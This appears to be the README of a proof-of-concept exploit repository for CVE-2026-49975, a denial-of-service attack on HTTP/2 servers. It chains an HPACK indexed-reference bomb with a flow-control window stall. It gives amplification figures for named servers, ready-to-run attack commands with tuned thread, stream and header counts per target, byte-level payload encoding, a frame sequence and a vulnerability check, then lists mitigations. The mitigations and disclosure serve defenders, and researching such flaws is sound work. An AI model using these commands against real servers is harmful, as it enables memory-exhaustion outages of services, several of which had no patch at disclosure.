Proof-of-concept exploit for CVE-2026-49975, a remote denial-of-service vulnerability in HTTP/2 server implementations. Discovered by Quang Luong (Calif Security Research), disclosed June 2, 2026.

For authorized security testing only. Do not use against infrastructure you do not own or have written permission to test.


How It Works

The attack chains two HTTP/2 protocol mechanisms:

1. HPACK Indexed Reference Bomb

HPACK (RFC 7541) lets senders reference previously-seen headers by index — usually one byte. The exploit inserts a nearly-empty header into the dynamic table once, then references it thousands of times. Each 1-byte wire reference forces the server to allocate ~70 bytes of internal bookkeeping per entry. No large values are involved, so "max decoded header size" limits never fire.

2. HTTP/2 Flow-Control Window Stall

By advertising a zero-byte receive window, the attacker prevents the server from sending its response or freeing any memory. Periodic 1-byte WINDOW_UPDATE frames reset the server's send timeout, keeping allocations pinned for as long as the connection is open.

Result: ~16 KB sent per stream → ~1.15 MB server RAM allocated and held per stream.


Affected Servers

Server Amplification Demo Impact Status
Envoy 1.37.2 ~5,700:1 32 GB in ~10s No patch at disclosure
Apache httpd 2.4.67 ~4,000:1 32 GB in ~18s Fixed in mod_http2 v2.0.41
nginx < 1.29.8 ~70:1 32 GB in ~45s Fixed in nginx 1.29.8
Microsoft IIS (WS 2025) ~68:1 64 GB in ~45s No patch at disclosure
Cloudflare Pingora ~68:1 No patch at disclosure

Usage

No dependencies — stdlib only.

# Basic test (single connection)
python3 exploit-test.py target.com 443

# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374

# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000

# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl

Arguments

Flag Default Description
target Hostname or IP
port 443 TCP port
--threads 1 Parallel connections (each reconnects on close)
--streams 10 HTTP/2 streams per connection
--headers 5000 HPACK indexed references per stream
--mode nginx nginx (bookkeeping, 70:1) or classic (large value, 4000:1)
--no-ssl off Disable TLS (h2c)

RAM Pressure Estimate

total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²

# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB

Optimal Settings by Target

Target Mode --headers Notes
nginx < 1.29.8 nginx 16374 Stays within default http2_max_header_size 16k
Apache httpd classic 5000 Cookie crumb technique
Envoy classic 32000 High amplification

Check If a Target Is Vulnerable

# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"

# Vulnerable if:
# - ALPN: server accepted h2   (HTTP/2 enabled)
# - server: nginx/X.Y.Z        (where X.Y.Z < 1.29.8)

Mitigations

nginx — upgrade to 1.29.8+ and add:

http2 max_headers 1000;

Or disable HTTP/2 entirely:

# Remove "http2" from listen directive
listen 443 ssl;

Apache httpd — upgrade mod_http2 to v2.0.41+. Interim: Protocols http/1.1

IIS / Envoy / Pingora — no patch available at time of writing. Disable HTTP/2 or front with a patched proxy.

General (all servers):

# Cap worker memory to limit blast radius
ulimit -v 2097152   # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"

Technical Details

HPACK Encoding

Dynamic table seed (incremental indexing, adds to index 62):
  0x40 | name_len | name | value_len | value
  = 0x40 0x06 "x-bomb" 0x00

Indexed reference to entry 62 (1 byte each):
  0x80 | 62 = 0xbe

Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes

HTTP/2 Frame Sequence

Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n     (preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]      (stall setup)
  SETTINGS ACK                          (after reading server SETTINGS)
  HEADERS [stream 1]  ← bomb payload   (pseudo-headers + HPACK bomb)
  HEADERS [stream 3]  ← bomb payload
  ...
  WINDOW_UPDATE(1) per stream / 1s      (keep-alive stall)

Files

File Description
exploit-test.py Main PoC — multi-stream, continuous reconnect, nginx + classic modes
SECURITY-REPORT-MIST.md Authorized assessment report for mist.ac.bd
LICENSE MIT

References

  • CVE-2026-49975
  • RFC 7541 §7.3 — HPACK Memory Consumption
  • RFC 9113 §8.2.3 — Cookie header splitting
  • CVE-2016-6581 — Original HPACK Bomb (Cory Benfield, 2016)
  • CVE-2025-53020 — Apache HPACK 4000:1 (Gal Bar Nahum, 2025)